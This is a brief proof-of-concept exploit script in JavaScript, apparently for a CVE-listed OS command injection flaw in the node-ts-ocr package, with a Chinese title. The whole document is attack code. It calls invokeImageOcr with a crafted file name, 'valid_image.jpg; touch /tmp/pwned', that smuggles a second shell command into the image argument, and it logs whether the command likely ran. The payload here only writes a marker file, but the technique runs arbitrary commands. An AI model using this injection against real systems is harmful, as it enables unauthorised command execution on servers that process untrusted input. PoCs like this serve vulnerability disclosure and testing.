CVE-2025-63705 node-ts-ocr OS命令注入漏洞

// PoC for CVE-2025-63705: OS Command Injection in node-ts-ocr // Description: Exploiting the invokeImageOcr function to execute arbitrary OS commands. const { invokeImageOcr } = require('node-ts-ocr'); // Attempting to inject a command using a semicolon separator // This payload tries to create a file named 'pwned' in /tmp const maliciousPayload = "valid_image.jpg; touch /tmp/pwned"; console.log(`[+] Sending payload: ${maliciousPayload}`); invokeImageOcr({ image: maliciousPayload }).then((result) => { console.log("[+] OCR function returned (command likely executed):", result); }).catch((error) => { console.log("[-] Error occurred (command may have still executed before failure):", error); });